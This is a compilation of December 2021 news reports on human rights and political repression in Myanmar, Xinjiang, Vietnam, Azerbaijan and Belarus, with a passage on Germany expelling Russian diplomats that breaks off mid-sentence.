Translated by Ye Kaung Myint Maung. Written in English by Joshua Lipes. Secretary of state cuts short trip to Southeast Asia after fellow traveler tests positive for the coronavirus. Washington is considering additional steps to press the Burmese junta into putting Myanmar on the path to democracy, U.S. Secretary of State Antony Blinken said here Wednesday before cutting short his first official Southeast Asia trip after someone in his traveling party tested positive for COVID-19. The United States Treasury, joined by Canada and the United Kingdom, issued sanctions last week against four Myanmar top officials and three military entities over alleged human rights abuses. The situation has not improved. We had a lengthy discussion about this, Blinken told reporters after he met with Malaysian Foreign Minister Saifuddin Abdullah in Putrajaya. I think it will be very important in weeks, in months ahead to look at the additional steps and measures that we can take individually and collectively to pressure the regime to put the country back on a democratic trajectory. Blinken arrived here from Indonesia and was planning to go on to Bangkok, the third and final stop of his first tour of Southeast Asia as secretary of state. But he had to cancel the Bangkok leg of his trip and return to Washington because of a coronavirus case detected in his traveling party. Blinken spoke with Thai Foreign Minister Don Pramudwinai to explain he was cutting his trip short out of an abundance of caution, according to State Department spokesman Ned Price. The secretary extended an invitation for the foreign minister to visit Washington, D.C., at the earliest opportunity and noted that he looked forward to traveling to Thailand as soon as possible. They affirmed that they would use the upcoming engagements to further deepen the U.S.-Thai alliance, Price said in a statement. Speaking to reporters, Americas top diplomat said the U.S. government was calling for Myanmar to release those who were unjustly detained, including former leader Aung San Suu Kyi, and to allow unhindered humanitarian access caused by the worsening crisis in the country. Earlier this month, Aung San Suu Kyi, whose elected government was ousted in a Feb. 1 military coup led by Senior Gen. Min Aung Hlaing, was sentenced to four years in prison on charges of incitement and violation of COVID-19 regulations. On Tuesday, Radio Free Asia (RFA), a news service with which BenarNews is affiliated, reported the death of freelance photographer Soe Naing, the first journalist killed in Myanmar since the coup. He was arrested on Human Rights Day, Dec. 10, while documenting a nationwide Silent Strike boycott against junta rule and died while in custody, family members confirmed. More than 8,000 civilians have been arrested and 1,343 killed by junta authorities, mostly during non-violent protests following the coup, according to the Bangkok-based Assistance Association for Political Prisoners. Genocide probe Blinken indicated that Washington was investigating potential evidence of genocide in Myanmar. We continue to look actively at determinations of the actions taken by Myanmar and whether they constitute genocide and that is something we are actively looking at now, he said. He also said Myanmar would be one of the topics to be discussed during a planned U.S.-ASEAN summit next year. Other issues expected to be discussed are COVID-19 recovery, trade and green infrastructure. Meanwhile in Cambodia on Wednesday, Prime Minister Hun Sen, whose nation is the new chair of the Association of Southeast Asian Nations (ASEAN), announced his choice to serve as the 10-member groups special envoy to Myanmar Foreign Minister Prak Sokhonn, according to Chinas Xinhua news service. Sokhonn succeeds Brunei Foreign Minister Erywan Yusof, whose government finished its one-year term as ASEAN chair in October. Myanmar is one of ASEANs 10 members. Analyst raises questions A regional analyst from the University of Kuala Lumpur questioned whether Washington would sanction Naypyidaw because of its relationship with Beijing. China will condemn what the U.S. tries to impose on Myanmar and it will create another tension between superpowers in the Asia Pacific region, Aizat Khairi told BenarNews. Blinken is instead reaching out to ASEAN countries, especially Malaysia and Indonesia, to apply pressure on Myanmar, Aizat said. Nevertheless, the ASEANs policy of non-interference could not do much to put pressure on Myanmar, he said. Therefore, the initiative introduced by Malaysian Foreign Minister Saifuddin Abdullah to do some soul-searching seems more relevant to request the military leadership in Myanmar restore the nation to its democratic path with a specific timeline and goal. Saifuddin had previously called for ASEAN to do some soul searching on its principle of not interfering in the domestic affairs of member-states. So ASEAN has to find out in cases like this, perhaps, there are there is Plan A and Plan B and Plan C, and not just to stick to one and that one is not working and you still stick to it. So we have to do some soul-searching, Saifuddin told reporters on Wednesday. In October, regional leaders barred Min Aung Hlaing from attending their summit following a row over Naypyidaws restriction over whether the special envoy could visit as part of a special five-point consensus, which was agreed to at a special ASEAN summit in Jakarta back in April. That consensus included a call for the immediate end of violence in Myanmar, constructive dialogue among all parties, and the creation of the special envoy. The junta refused to allow Bruneis Yusof to meet Aung San Suu Kyi because she had been charged with crimes. On Wednesday, Saifuddin suggested that ASEAN establish milestones for measuring meaningful progress on the Myanmar crisis. He expects this to be discussed at the regional blocs foreign ministers retreat on Jan. 19. We should be looking at what are the real next steps. For example, we should identify real milestones. We have the five-point consensus, but we do not identify exactly when certain things need to be achieved and how, Saifuddin said. Reported by BenarNews, an RFA-affiliated online news service. Press freedom in Myanmar is under relentless attack from the junta, journalists said Wednesday, amid an ongoing crackdown on the media by authorities that led to the first death of a reporter since the military seized control of the country 10 months ago. On Tuesday, 30-year-old freelance photographer Soe Naing was confirmed to have died while in detention, days after his Dec. 10 arrest while documenting a nationwide Silent Strike boycott against junta rule to mark Human Rights Day in Yangons Latha district. Colleagues and friends told RFAs Myanmar Service that Soe Naing was a seasoned photographer who had covered many events and protests since the military removed Myanmars democratically elected National League for Democracy government in a Feb. 1 coup. Soe Naings family have asked his friends to remove posts on social media about his death and refused to answer media inquiries. A reporter who declined to be named, citing fears for his security, told RFA on Wednesday that what happened to Soe Naing was inevitable, as the military increasingly represses society and seeks to cover up its rights abuses. All these photojournalists and videographers are people who can produce solid proof of their violent and unjustifiable acts, and so they never show leniency to journalists, he said. Lengthy jail sentences are given without any justification, just because people are holding cameras at the time of their arrest. And now the situation is getting worse. They took away a guy and killed him once they discovered he was a photojournalist. The reporter urged the international community to call more loudly for the protection of journalists who are increasingly threatened by the junta. Paris-based journalist watchdog group Reporters Without Borders also called on countries with a free press to condemn Soe Naings killing and the escalation in terror against reporters and to implement sanctions against the junta leadership. They regard journalists as enemies Aung Gyaw, a correspondent with the Democratic Voice of Burma who was arrested by the military and later released as part of a Sept. 28 general amnesty, said that junta soldiers often torture journalists at interrogation centers, and that he had also fallen victim to such abuse. Theyd read the news and no matter what the news agencies wrote, they tortured me, beat me, or kicked me with their heavy boots, he said. They regard journalists as enemies. They would say, All you reporters write things similar to this, and would beat me, even though the story had nothing to do with me. They hate journalists with all of their being. Myint Kyaw, a former member of the Myanmar Media Council, said it was unacceptable that the juntas interrogation methods had led to a journalists death. I can understand they do not like journalists for writing reports about protests and anti-coup actions. But I cannot see any justification from any angle for why one should die during an interrogation, he said. Im not saying this because he was a newsman. Many innocent civilians also have died in recent months in such situations. I think there should be a valid explanation or accountability for this death as the death of a journalist represents the death of greater press freedom. Repeated attempts by RFA to contact the juntas Deputy Information Minister Maj. Gen. Zaw Min Tun went unanswered Wednesday. According to RFA investigations, as many as 110 journalists have been arrested since the coup and at least 53 are remain held in various prisons throughout the country. At least 57 journalists are currently imprisoned in Myanmar, according to Reporters Without Borders. The group ranked Myanmar 140th out of 180 countries in its World Press Freedom Index, published in early 2021. The junta has arrested more than 8,000 civilians and killed 1,343 since February, mostly during non-violent protests of the coup, according to the Bangkok-based Assistance Association for Political Prisoners. Reported by RFAs Myanmar Service. Translated by Khin Maung Nyane. Written in English by Joshua Lipes. Several prisoners were hospitalized, and organizers were placed in solitary confinement. Authorities clear the way as a bus carrying prisoners released as part of a general amnesty prepares to leave the main gate of Insein Prison in Yangon, Oct. 19, 2021. Authorities in Myanmars infamous Insein Prison brutally beat political prisoners who joined a nationwide Silent Strike on Human Rights Day to protest the military regime, and threw organizers into solitary confinement, according to sources close to the prisoners. Citizens across Myanmar marked Dec. 10 with a public boycott in protest of the juntas Feb. 1 coup and its disregard for human rights, leaving towns and cities throughout the country eerily quiet. Nearly all businesses particularly those in the regions of Yangon, Mandalay, Sagaing, Magway and Irrawaddy, as well as Kachin and Chin states were shuttered, and residents avoided any form of public interaction. Dozens of political prisoners held in Yangons Insein Prison, known for its poor conditions, chose to show their solidarity with those protesting by refusing to leave their cells following morning roll call, according to Tun Kyi, a member of the Former Political Prisoners Society. They stayed in the cell throughout the day and in the evening sang the protest song Our Pledge in Blood in unison, he said. [Prison officials] came in [later] and broke up the strike, Tun Kyi told RFAs Myanmar Service. As far as I know about 100 of the inmates involved were beaten up, after which [authorities] sorted out the leaders and put them into solitary confinement. There were several who got injured during the fracas and these prisoners are now receiving medical treatment in the prison hospital. A former political prisoner who was released from Insein Prison in September cited sources within the facility as saying that the warden led guards into the cell after 4:00 p.m., pulled [the prisoners] out into the main square and began hitting them. I heard some of the victims were seriously injured, some of them bleeding from their mouths and ears, the former political prisoner said. When contacted by RFA, Chan Aye Kyaw, deputy director of the Department of Prisons, declined to comment, saying he had no authority to speak to the press. Junta spokesman Maj. Gen. Zaw Min Tun denied that there had been any protests in Insein Prison. Prison strikes Soe Yar Za Tun, a freelance journalist who was released from Insein Prison in June, said that protests inside prisons are significantly more dangerous than those held outside. He urged rights groups to monitor the status of those involved in last weeks action. I'm worried that they will be severely punished, and no lawyer can help them, he said. Its very common that people inside get beaten up as punishment. Human rights lawyer Khin Maung Myint emphasized to RFA that it was illegal to beat the protesters. They cannot beat up prisoners if there is no rioting, according to the prison manual. Its not right to beat inmates just because they were holding a silent strike. Its against prison rules, he said. A spokesman for Bangkok-based Assistance Association for Political Prisoners told RFA that prisoners deserve basic human rights, including freedom of expression. On July 23, scores of prisoners were released across Myanmar political prisoners excluded. At the time, political prisoners in Insein Prison staged a protest due to lack of access to medical care and tightening prison rules. According to sources close to the prison, about 20 inmates were beaten and kept in confinement. Youths protest military rule in Yangon, Dec. 8, 2021. RFA Disproportionate sentencing According to RFAs investigations, at least 117 people have been sentenced to lengthy prison terms, life in prison, or death in Insein Prison under military tribunals since the Feb. 1 coup, when the junta seized power from the countrys democratically elected National League for Democracy (NLD) government. Of those, 87 were sentenced to death, while 30 others were sentenced to terms ranging from seven years to life in prison. Lawyers told RFA that they were sentenced without the right to defend themselves and had been subjected to violations of both their human and legal rights because they were arrested in areas that had been declared to be under martial law. In addition to charges of protesting the military coup, many were charged for alleged links to the shadow National Unity Government (NUG), Parliaments Pyidaungsu Hluttaw Committee of Representatives (CRPH), and the anti-junta Peoples Defense Force (PDF) militia. The punishments are not proportionate with the crimes, said human rights lawyer Khin Maung Myint. The cases were prejudged, and they have a consistent tendency to give the maximum penalty. It is really unjustified legally. Furthermore, those sentenced have no right to appeal their conviction, which lawyers called an abuse of legal rights. A family member of Thar Zaw, who recently received a life imprisonment sentence under the Anti-Terrorism Law by the Hlaing Tharyar Military Tribunal, told RFA that he had no contact with him since his arrest. What can we say? They are just doing what they want to do, the family member said. What I can say is, it was an injustice. And Im not alone. There are many like us. The military has taken the law into its own hands. NLD lawmakers targeted Meanwhile, authorities are targeting parliamentarians from the NLD for arrest, detaining nearly 90 over the past 10 months. Some of those who have not been arrested are on the run or have relocated to areas under the control of ethnic armies that are fighting the junta, sources said. In Myanmars November 2020 elections, the NLD won 920 constituencies out of a total of 1,117. However, 89 of them were arrested by the military on various charges following the Feb. 1 coup. Of the more than 800 remaining MPs, the majority have signed, under pressure from the junta, a pledge not to involve themselves with the CRPH and have ceased all political activities. Naing Htoo Aung, the NLD MP for Nahtogyi township, told RFA that he chose to relocate to an area under the control of an ethnic army because the military killed peaceful protesters, leaving him with no choice but to take up arms. In carrying out our duties in the past, we had to deal with legal issues in Parliament, said Naing Htoo Aung, who is a member of the NLD Central Committee and current permanent secretary of the NUGs Ministry of Defense. But now, we are in such a situation that we need to provide armed protection to the people. In the weeks and months since the coup, security personnel have committed human rights abuses including arbitrary arrests, rapes and killings. More than 8,000 civilians have been arrested and 1,339 killed by junta authorities since February, according to the AAPP, mostly during non-violent protests of the coup. NUG Minister of Electricity and Energy Soe Thura Tun, from Kungyangon township, told RFA that although the life of an MP is vastly different from that of an armed revolutionary, he had to join the resistance because the people had chosen this path. This revolution is the revolution of the people. It isnt the revolution of the NLD. It wasn't brought about by parliamentarians, he said. The revolution came about because the junta repeatedly killed people who were nonviolently protesting for peace. The people did not make the decision individually the entire populace did. This was not planned. It happened because it was necessary. The NLDs Working Committee declined to confirm how many lawmakers are involved in armed resistance to the junta, citing security concerns. Reported by RFAs Myanmar Service. Translated by Khin Maung Nyane. Written in English by Joshua Lipes. Protestors take part in a demonstration organized by the World Uyghur Congress, the International Campaign for Tibet, the Unrepresented Nations and Peoples Organization, the Belgian Uyghur Association, and the Tibetan community in Belgium, Brussels, Oct. 1, 2019, the 70th anniversary of the establishment of the People's Republic of China. Two Uyghur advocacy groups are preparing to submit a criminal complaint to an Argentine court with international jurisdiction, laying out alleged crimes committed against Uyghurs and other Turkic minorities in Chinas far-western Xinjiang region. The Uyghur Human Rights Project (UHRP), based in Washington, and the World Uyghur Congress (WUC), headquartered in Munich, Germany, have hired London-based barrister Michael Polak to file the complaints with the Federal Criminal Court of Appeals in Buenos Aires, the groups said Tuesday. Uyghurs have desperately been seeking accountability and justice but faced numerous challenges along the way, such as the fact that currently international courts are unable to prosecute the criminals responsible for this genocide, WUC President Dolkun Isa said in a statement. It is therefore critical that a country like Argentina uses its universal jurisdiction to hold the perpetrators of the Uyghur genocide to account. Argentina must lead the way. The lawsuit comes five days after an independent Uyghur Tribunal in London ruled that China committed genocide and crimes against humanity against Uyghurs and other ethnic minorities in Xinjiang. Its finding was based on evidence from survivors, witnesses and experts on the region. The tribunal has no state backing, however. Argentinas universal jurisdiction provisions enables courts to investigate and prosecute crimes under international law, such as crimes against humanity or genocide, regardless of where they have taken place. Polak, who specializes in criminal, human rights and international law, is chair of Lawyers for Uyghur Rights, a group of attorneys working to protect the rights of Uyghur people. The use of universal jurisdiction provisions is the next step in the path to justice for the Uyghur people and to hold to account those who are ordering the most horrendous international crimes against them, Polak said in a statement. Throughout history we have said never again a number of times and here, yet again, we have a group that is being attacked simply because of their ethnicity and religion by a powerful state. China has held up to 1.8 million Uyghurs and others in internment camps since 2017. It has dismissed widely documented evidence including testimony from former detainees and guards describing widespread abuses in interviews with RFA and other media outlets that it has mistreated Muslims living inside and outside the camps. After the complaint is filed, an appointed judge will review it along with submissions from a public prosecutor to decide whether to open a case. If a case is opened, an investigation would begin, and the WUC and UHRP would have to submit evidence showing international crimes of genocide, crimes against humanity and torture are occurring in Xinjiang. With sufficient evidence, the judge can indict defendants, issue arrest warrants and send the case to trial. This could be a historic opportunity for the Uyghur people because it would mark the first-time that the evidence of the atrocities against the Uyghurs is presented in a court. The Argentine appeals court in November ordered an investigation into the international crimes committed against the Rohingya people by the Myanmar military under the universal jurisdiction principle, after overturning a lower court ruling rejecting a request for an investigation by the U.K.-based Burmese Rohingya Organisation, known as BROUK. Forced labor bill advances A brutal military crackdown on the Muslim Rohingya in 2017 left thousands dead and drove more than 740,000 others across the border and into Bangladesh where they have since lived in massive displacement camps. The Argentinian universal jurisdiction provisions provide a golden opportunity for justice for the Uyghur people and it is clear, especially given the recent ruling in the Rohingya case, that the Argentinian courts are willing to apply their progressive laws to achieve justice for individuals facing serious repression no matter where that is taking place, Polak said. The criminal complaint is expected to be filed in early February 2022. The legal team will hold a press conference in Argentina with Uyghur internment camp survivors and international experts to discuss the Chinese states systematic repression of the Uyghurs and what nations can do to stop it. As the legal action was announced, lawmakers in Washington advanced the Uyghur Forced Labor Prevention Act, which will block the import of goods into the U.S. produced by forced labor in Xinjiang and authorize sanctions on foreign individuals and entities found responsible for rights abuses. Passed in the House of Representatives last week by a vote of 428 to 1, the legislation had cleared the Senate unanimously on July 15, the two versions were reconciled with Tuesday's unanimous House vote, and are expected to clear the Senate and be sent to President Biden for signing into law. The ongoing genocide perpetrated by the Chinese government against the Uyghur people and other Muslim minorities is a challenge to the conscience of the entire world, which requires forceful and urgent action by the international community," said House Speaker Nancy Pelosi. Congress, on a bipartisan and bicameral basis, will continue to condemn and confront the CCPs human rights abuses in Xinjiang and in the region and hold it accountable. If America does not speak out for human rights in China because of commercial interests, we lose all moral authority to speak out for human rights any place in the world," she said. The White House welcomed the vote. "We agree with Congress that action can and must be taken to hold the Peoples Republic of China accountable for genocide and human rights abuses and to address forced labor in Xinjiang," White House Press Secretary Jen Psaki said. She pointed to U.S. policies in response to Xinjiang rights abuses, including visa restrictions, sanctions, export controls, and import restrictions, and the release of a business advisory. "The administration will work closely with Congress to implement this bill to ensure global supply chains are free of forced labor, while simultaneously working to on-shore and third-shore key supply chains, including semiconductors and clean energy," added Psaki. Watchtowers sit atop a high-security facility near what is believed to be a re-education camp where Uyghurs and other mostly Muslim ethnic minorities are detained, on the outskirts of Hotan in northwestern China's Xinjiang region, May 31, 2019. A Uyghur poet who wrote a series of poems that movingly described the lives of Uyghurs under Chinese rule is serving more than 17 years in prison on separatism charges, RFA has confirmed. Gulnisa Emin from Chira (in Chinese, Cele) county in Hotan (Hetian) prefecture in the Xinjiang Uyghur Autonomous Region is known for a series of poems titled One Thousand and One Nights, which she began writing and releasing online as audiocasts under the pseudonym Gulhan in 2015. On the 345th night she issued a poem, Gulnisa Emin was suddenly cut off from the internet. Rumors circulated in the Uyghur community that she had been sentenced to a lengthy prison sentence, according to Abduweli Ayup, a Norway-based activist and linguist who documents missing and imprisoned Uyghurs in Xinjiang. In May 2019 during a protest I saw the picture of the poet who used the pseudonym of Gulhan, and couldnt believe my eyes, Abduweli said during one of his programs on RFAs Uyghur Service I talked to the protester holding her picture and found out the truth that our beloved poet, Gulnisa Emin, had been detained in December 2018. A Uyghur from Chira who now lives in exile and has knowledge of the situation told RFA that Gulnisa was sentenced to 17-and-half years in Mush Prison because Chinese authorities said her poetry spread thoughts of separatism. Gulnisa, 45, was arbitrarily detained and interrogated several times from 2014 when Chinese authorities began an antiterrorism campaign until her final arrest in 2018, said the source, who asked to remain anonymous out of fear of retribution. While she was in detention, Gulnisa had witnessed the brutal policies authorities used under the guise of enforcing the law, the source said. Close friends were disappeared and court convictions led to mass executions, the source said. When RFA contacted officials at Chira county court and Chira county high school, where Gulnisa had worked, most said they could not comment on the matter. But one senior court official said Gulnisa was one of nearly three dozen county teachers arrested and sentenced in recent years. Seventeen years and six months, he said when asked about the length of Gulnisas sentence. A Chinese government official in Chira told RFA that Gulnisa had been detained once in 2017, held in an internment camp for a year in 2018, and was sentenced to prison in 2019. The official could not say which of Gulnisas poems got her arrested, what crime Gulnisa had been charged with, or whether she had a trial. But he did confirm that she is serving her sentence in Mush Womens prison in Tokkuzak (Toukezhake) township in Kashgar (Kashi) prefecture. Chinese authorities have targeted and arrested numerous Uyghur businessmen, intellectuals, and cultural and religious figures in the Xinjiang Uyghur Autonomous Region for years as part of a campaign to monitor, control and assimilate members of the minority group, purportedly to prevent religious extremism and terrorist activities. Many of them have been among the 1.8 million Uyghurs and other Turkic minorities believed to be held in a network of detention camps in Xinjiang since 2017. Beijing has said that the camps are vocational training centers and has denied widespread and documented allegations that it has mistreated Muslims living in Xinjiang. Gulnisa was a member of writers associations in Chira county and Hotan prefecture. Some of her poems became song lyrics, and others were translated into Chinese and Japanese. She began writing her One Thousand and One Nights series on Dec. 4, 2015, and issued her last poem on March 28, 2018, according to Abduweli Ayup, the Norway-based activist. In one poem, Gulnisa seems to predict her future incarceration: Maybe inside the prison walls I am Waiting for my name to be called from the list Maybe, maybe a lot more Will happen suddenly or very slowly. After those moments About one uncovered thing Hiding, forgetting my aroused headache Will be waiting for my names turn on the last list. In a poem from One Thousand and One Nights, Gulnisa wrote of her desire to escape from an environment of fear: She looks for space while living On a rock that doesnt crack like herself In a salty tear that cannot be shed To breathe for a second To light like a match even In the last limits of tolerance. Gulnisa also wrote about her dream for a bright future for Uyghurs in Xinjiang in this poem: The dawns you are in will rise again The dawns you are in will rise again The dawns you are in will rise again, Filling my arms with you, Putting dew on the lashes Of the crescent that has gone not giving up. Will stretch the roads wide, To the bottom of your doorsteps. Will bring your longing, The dove cooing at your window. Perfume of the branches, Will drizzle to my imagination. Yearning to you as clear as moonlight, Passed my door a thousand times. Spreading out their leaves, Lies the dreams like red flowers. Like your lip kissing my burning lip, The dawns you are in will rise again. Translated by RFAs Uyghur Service. Written in English by Roseanne Gerin. The High Court of England and Wales said on Wednesday that a Uyghur rights advocacy group could proceed with a case against U.K. authorities for permitting the importation of cotton goods produced with Uyghur forced labor in China. The World Uyghur Congress (WUC) of Munich, Germany, and the Global Legal Action Network (GLAN), a U.K.-based nonprofit group that pursues legal actions against states and actors involved in human rights violations, allege that cotton goods produced by Uyghurs in detention camps in Xinjiang are entering the U.K. Witness statements, leaked government documents, satellite imagery, a secret memorandum from within the textile industry, and documents that the Chinese government has attempted to remove from the internet will prove the case, GLAN said in a statement issued Wednesday. All evidence points to cotton made using forced labor coming into the U.K. from the Uyghur region, East Turkestan, Siobhan Allen, a GLAN legal officer, said in a statement issued Wednesday. By failing to enforce the laws that exist to address this, the U.K. government is allowing companies to benefit from such crimes. GLAN said a court win would set a world-first precedent by confirming that the U.Ks Proceeds of Crime Act originally targeting money laundering and other illegal activities of organized crime also applies to proceeds companies accumulate from so-called atrocity crimes, GLANs statement said. The rights groups also argue that a 19th century law prohibiting the importation of prison-made goods is being violated by the purchase of cotton good produced by forced labor. Living in a free country which upholds respect for human rights, it hurts so much to know that the products that are used in this country are the fruit of the enslavement of my people, Rahima Mahmut, WUCs U.K. director, said in the statement. I have full confidence that the British government will make the right decision in line with its legal framework which champions the highest standards of human dignity. Chinese authorities have used Uyghur forced labor in the cotton industry as part of its systematic persecution of the roughly 12 million Uyghurs and other Turkic minorities who live in Xinjiang. Since 2017, China has held as many as 1.8 million Uyghurs and other Muslim minorities in a network of detention camps that Beijing claims are vocational training centers. The camps are the center of a campaign of repression that has drawn charges from the West of genocide and crimes against humanity. China rejects the accusations. China is the U.K.s third-largest trade partner, with total trade in goods and services between the two countries amounting to 93 billion (U.S. $123 billion) in the fiscal year ending June 30, 2021, according to government figures. The new case comes six days after an independent Uyghur Tribunal in London ruled that China has committed genocide and crimes against humanity against Uyghurs and other ethnic minorities in Xinjiang. Its finding was based on evidence from survivors, witnesses and experts on the region. The tribunal has no state backing, however. A report from the U.K. Parliament in July catalogued human rights abuses against Uyghurs and called for international action to halt the atrocities in Xinjiang. It said the U.K. government should consider a ban on cotton products produced in the region. Earlier this year the U.K. Parliament voted unanimously to declare that genocide and crimes against humanity were taking place against the Uyghurs in Xinjiang. In the U.S., the Congress a week ago passed the Uyghur Forced Labor Prevention Act, which will block the importation of goods produced by forced labor in Xinjiang. The White House has said that President Joe Biden will sign the legislation into law. Trinh Ba Phuong and Nguyen Thi Tam had spoken out about the deadly clash last year at Dong Tam commune. A court in Vietnam on Wednesday sentenced two land rights activists to a total of 16 years in prison for speaking out against a deadly police assault last year against villagers living on disputed land outside of Hanoi. Trinh Ba Phuong and Nguyen Thi Tam were convicted in a four-hour trial Wednesday morning. Phuong received a 10-year prison term with five years probation, and Tam was handed a term of six years in prison with three years probation. They had been charged with creating, storing, disseminating or propagandizing information, materials, publications and items against the State. Phuong and Tam were arrested on June 24, 2020, after they spoke out on social media about the Jan. 9, 2020, clash at Dong Tam commune in which 3,000 police stormed protesters homes at a construction site outside the capital, killing a village elder. Defense lawyer Nguyen Van Mieng told RFA that the sentence given to Phuong was unexpectedly harsh. A sentence of six years was what we were expecting. So, the 10-year prison term Phuong received was given as a kind of revenge, since they saw him a real thorn in their side, Mieng said. He said that Phuong had shown great strength throughout his trial. He had the spirit of an orator and showed his mettle and courage, but not by cursing the court. His mother Tam was calm, in the manner of a farmer, and did not offend the panel of judges at all, he said. Defense lawyer Le Van Luan told RFA that Phuong eloquently advocated for democracy in Vietnam in his statements to the court. I dont feel any guilt before my country and our people, Phuong said, according to Luan. I am fighting so that no piece of land in our country will ever be stolen, so that no one will ever have to leave the country to earn their living as a guest worker, and so that we can have free elections and our people can live a more civilized life. Family members briefly detained No relatives of the two activists were allowed to attend their trial, and police detained three family members who stood outside the court building, asking to come in. The three family members Phuongs father Trinh Ba Khiem and wife Do Thi Thu, and Tams daughter Nguyen Than Mai were released when the trial ended at noon. Phuongs younger sister said that when family members arrived at the court and asked to be admitted, they found the front gate blocked. Then everyone was shoved into two cars and taken away, she told RFA. I dont know where they were taken, and I myself wasnt arrested since I was standing a little distance away. Authorities had earlier barricaded family members homes to stop them from trying to attend, Thao said, calling the move a dirty trick. They stopped Thu and me from leaving our house by blocking our exit, saying they had to lock down our alley because they had found suspected COVID cases there. But we found a way around this to escape, she said. Tams family meanwhile posted on their Facebook page a photo from their home camera system showing their house had been watched by police since early morning. While all land in Vietnam is ultimately held by the state, land confiscations have become a flashpoint as residents accuse the government of pushing small landholders aside in favor of lucrative real estate projects, and of paying too little in compensation to farming families displaced by development. Reported by RFAs Vietnamese Service. Translated by Anna Vu. Written in English by Richard Finney. Authorities in Azerbaijan detained dozens of protesters who gathered in central Baku on December 15 to demand the release of opposition activist Saleh Rustamli. He has been detained since May 2018 and was sentenced in February 2019 to more than seven years in prison after a court found him guilty of money laundering. He has rejected all of the charges against him, calling them politically motivated. Human Rights Watch has called the allegations "spurious." Rustamli has been on a hunger strike since November 6. On December 13, he said he would stop drinking water. Popular video blogger Syarhey Tsikhanouski, who once intended to run for president against Belarusian leader Alyaksandr Lukashenka, was sentenced to 18 years in prison by a court in Homel on December 14. Tsikhanouski is also the husband of opposition leader Svyatlana Tsikhanouskaya. His conviction, along with five others, on a variety of charges and their harsh punishments are widely seen as politically motivated. We take a deeper look at Tsikhanouski and what he means to the country's opposition. One ran a video blog that morphed into a thwarted presidential campaign. Another challenged Alyaksandr Lukashenka for the presidency of Belarus 11 years ago and has been in and out of prison for political protests. Yet another was a blogger whose Telegram channel was Belarus's second-most read. A court in southeastern Belarus handed down harsh sentences against six Belarusians -- activists, politicians, and a journalist -- who have gained renown in the country for their opposition to Lukashenka's iron-fisted rule. Now their fame has been further amplified by the prospect of spending at least a decade in prison; 18 years was the longest sentence imposed on December 14, against Syarhey Tsikhanouski. "The dictator publicly takes revenge on his strongest opponents," his wife, Svyatlana Tsikhanouskaya, who is now the face of the opposition, said in a post to Twitter. "While hiding the political prisoners in closed trials, he hopes to continue repressions in silence. But the whole world watches. We won't stop," she said. These are the six Belarusians whose sentencings have drawn international outrage. Syarhey Tsikhanouski Before he landed in jail in May 2020, Tsikhanouski ran a video blog on YouTube called The Country For Life, which explored how average Belarusians struggled to eke out livelihoods in a stagnant, low-wage, Soviet-style command economy. The blog drew hundreds of thousands of subscribers and views. Tsikhanouski, 43, had parlayed that fame into a run for the presidency, seeking to challenge Lukashenka, the former collective-farm boss who has ruled Belarus since 1994. But Lukashenka's government wasn't having any of it. Tsikhanouski, who dubbed Lukashenka a "cockroach," was jailed repeatedly for holding unauthorized demonstrations and was barred from running in the August 2020 election. Ultimately, he was detained while collecting signatures for his wife to run in his stead, and then hit with other charges, including incitement and organizing mass riots. Tsikhanouskaya became the united opposition candidate in the election, in which Lukashenka claimed a landslide victory amid widespread allegations of fraud in his favor, sparking nationwide protests that he met with a massive crackdown. She now lives in exile in Lithuania. The Homel court gave Tsikhanouski 18 years in prison, three more than the maximum sentence stipulated for the most severe charge, according to the rights group Vyasna. In the courtroom on December 14, Tsikhanouski turned his back on the judge as he read out the sentence. One person who was inside the courtroom told RFE/RL's Belarus Service that he later shouted out, "Long live Belarus!" -- a long-standing slogan of Lukashenka's opponents. Mikalay Statkevich Statkevich's political dissidence dates back to the Soviet era, when he resigned from the Communist Party in protest at the Soviet government's violent crackdown on the independence movement in Lithuania in January 1991. The violence was a crucial stage in the collapse of the U.S.S.R. He later became head of the Social Democratic Party in independent Belarus. He served three years in prison in the mid-2000s for involvement with mass protests against a government measure lifting a limit on how many terms Lukashenka could serve. Statkevich, 65, challenged Lukashenka for the presidency in 2010 -- and ended up back in prison after a crackdown on opposition groups. He was released in 2017, at a time when Lukashenka was courting the West. On May 31, 2020, he was arrested as he attended a rally to gather signatures for Tsikhanouskaya's candidacy, and was initially charged with participating in an unauthorized demonstration. The other charges were piled on. He was sentenced to 14 years in prison. Ihar Losik With mass media under the tight control of the government, Belarusians have turned to social media and encrypted messaging apps like Telegram for news, unfiltered discussions, and to plan political protests and activity. Losik helped turn the Telegram channel Belamova, which stands for Belarus of the Brain, into the second-most read channel in the country. (The most-read Telegram app is Nexta Live; one of its lead authors was Raman Pratasevich, who also worked for Losiks channel. On May 23, Pratasevich was pulled off a passenger plane after the plane was forced to land in Minsk, and was thrown in jail.) A former fellow under an RFE/RL training program, Losik, 29, is a consultant to RFE/RL's Belarus Service. In June 2020, police raided the house in western Belarus where Losik lived with his family and arrested him. Charged initially with violating public order, Losik was later charged with a more serious allegation: incitement to social hatred. In April 2021, while in detention, he tried to slit his wrists and launched a four-day hunger strike. He was sentenced to 15 years in prison. In an impassioned plea recorded before Losik's sentence, his wife Darya, with whom Ihar has a 2-year-old daughter, condemned Lukashenka. "It is interesting that while you are allegedly fighting against such terrible threats, you have no guts to meet with an ordinary girl, a loving wife and mom," she said. "How will you live on, hug your children, those close to you, knowing what you have done today?" Uladzimer Tsyhanovich Tsyhanovich, 41, is another activist who garnered a measure of fame via social media: a political YouTube channel called MozgON. An ally and supporter of Tsikhanouski, he was detained in June 2020, initially on similar charges. But those charges were later reclassified while he was still in custody, upgraded to the organization of mass riots and incitement to social hatred. He was sentenced to 15 years in prison. Artsyom Sakau and Dzmitry Papou Sakau, a political activist, and Papou, another blogger, are both closely linked to Tsikhanouski's political campaign. Sakau, 27, was a member of the nominating group that sought to gather signatures for Tsikhanouskaya after her husband was barred from running. On May 31, 2020, two days after joining a public demonstration in support of her candidacy, he was arrested and charged with actions aiming to disturb public order. Those charges were later upgraded to organization of mass riots and incitement to social hatred. Papou was the moderator of social-media accounts linked to Tsikhanouski's YouTube channel. Both Papou and Sakau received 16 years in prison. Germany has expelled two Russian diplomats after a court in Berlin convicted a Russian man of fatally shooting a former Chechen militant in 2019 in Berlin on Moscows orders. Foreign Minister Annalena Baerbock said the expulsions were communicated to Russian Ambassador Sergei Nechayev during a meeting at the Foreign Ministry. Russian involvement in the August 2019 murder of Tornike Kavtarashvili was a "serious violation of German law and the sovereignty of the Federal Republic of Germany," Baerbock said. The second criminal division of the Higher Regional Court in Berlin noted the gravity of the attack by the 56-year-old suspect, named as Vadim Krasikov, aka Vadim Sokolov, in the murder of Tornike 